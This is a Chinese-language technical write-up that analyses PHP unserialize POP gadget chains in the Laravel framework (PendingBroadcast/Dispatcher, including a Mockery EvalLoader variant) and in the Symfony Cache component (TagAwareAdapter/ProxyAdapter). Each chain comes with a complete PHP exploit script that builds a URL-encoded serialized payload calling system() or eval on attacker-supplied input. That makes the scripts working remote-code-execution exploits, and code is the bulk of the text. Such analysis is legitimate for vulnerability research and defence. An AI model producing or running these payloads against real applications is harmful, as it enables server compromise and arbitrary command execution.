PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue
先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令
再看pop链首
PendingBroadcast->__destruct
$this->events与$this->event可控。
这里需要调用Dispatcher->dispatch
跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true
跟进Dispatcher->dispatchToQueue
$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。
只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。
先找到ShouldQueue的实现类如下
这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下
故如下类,可用
QueuedCommand
BroadcastEvent
SendQueuedNotifications
CallQueuedClosure
至此已可编写exp,整理一下
PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类
Dispatcher->queueResolver = 要执行的函数
BroadcastEvent->connection = 参数
<?php
namespace Illuminate\Bus;
class Dispatcher implements QueueingDispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
namespace Illuminate\Broadcasting;
class BroadcastEvent implements ShouldQueue{
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
namespace Illuminate\Broadcasting;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events,$event){
$this->events = $events;
$this->event = $event;
}
}
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);
$dispatcher = new Illuminate\Bus\Dispatcher();
$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
echo urlencode(serialize($pending));
echo "\n";
?>
控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。
利用参数可控的call_user_func可调用任意类方法,如下
故,这里可以调用EvalLoader类的load方法,如下
MockDefinition类的getCode方法返回值可控,如下
只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码
跟踪getClassName方法
全局查找返回值可控的getName方法,发现MockConfiguration类
至此可编写exp,整理一下如下
PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类 //包含$connection属性的ShouldQueue的实现类
Dispatcher->queueResolver = [EvalLoader类,"load"]
BroadcastEvent->connection = MockDefinition类
MockDefinition->config = MockConfiguration类 //任一getName返回值可控的类
MockDefinition->code = 要执行的代码
MockConfiguration->name = ConfigCacheCommand类 //任一未被载入的类
<?php
namespace Illuminate\Bus;
class Dispatcher{
protected $queueResolver;
public function __construct($cmd){
$this->queueResolver = $cmd;
}
}
namespace Illuminate\Broadcasting;
class BroadcastEvent{
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
namespace Mockery\Generator;
class MockDefinition{
protected $config;
protected $code;
public function __construct($mockconfiguration,$code){
$this->config = $mockconfiguration;
$this->code = $code;
}
}
namespace Mockery\Generator;
class MockConfiguration{
protected $name;
public function __construct($class){
$this->name = $class;
}
}
namespace Mockery\Loader;
class EvalLoader{
}
namespace Illuminate\Foundation\Console;
class ConfigCacheCommand{
}
namespace Illuminate\Broadcasting;
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events,$event){
$this->events = $events;
$this->event = $event;
}
}
$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");
$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));
$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
echo urlencode(serialize($pending));
echo "\n";
?>
TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave
先看命令执行处
若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。
回到POP链首
TagAwareAdapter->__destruct
跟进,TagAwareAdapter->commit
跟进,TagAwareAdapter->invalidateTags(截取部分)
令$this->pool=ProxyAdapter类
跟进ProxyAdapter->saveDeferred
跟进ProxyAdapter->doSave
首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。
204行的if语句,只要使得$item为CacheItem的实例即可通过。
$this->setInnerItem为ProxyAdapter的属性,可控。
$innerItem可通过代码213行控制
至此可以编写exp,整理一下
$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]
$TagAwareAdapter->pool = ProxyAdapter类
$ProxyAdapter->setInnerItem = "system";
$ProxyAdapter->poolHash = "4ut15m";
$CacheItem->innerItem = 要执行的命令
$CacheItem->poolHash = "4ut15m";
这条链并不复杂,具体的内容看exp
<?php
namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct($obj, $obj2){
$this->deferred = array("4ut15m" => $obj2);
$this->pool = $obj;
}
}
namespace Symfony\Component\Cache;
final class CacheItem{
protected $innerItem;
protected $poolHash;
public function __construct($cmd){
$this->innerItem = "$cmd";
$this->poolHash = "4ut15m";
}
}
namespace Symfony\Component\Cache\Adapter;
class ProxyAdapter{
private $setInnerItem;
private $poolHash;
public function __construct(){
$this->setInnerItem = "system";
$this->poolHash = "4ut15m";
}
}
$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);
$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();
$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);
echo urlencode(serialize($TagAwareAdapter));
echo "\n";
?>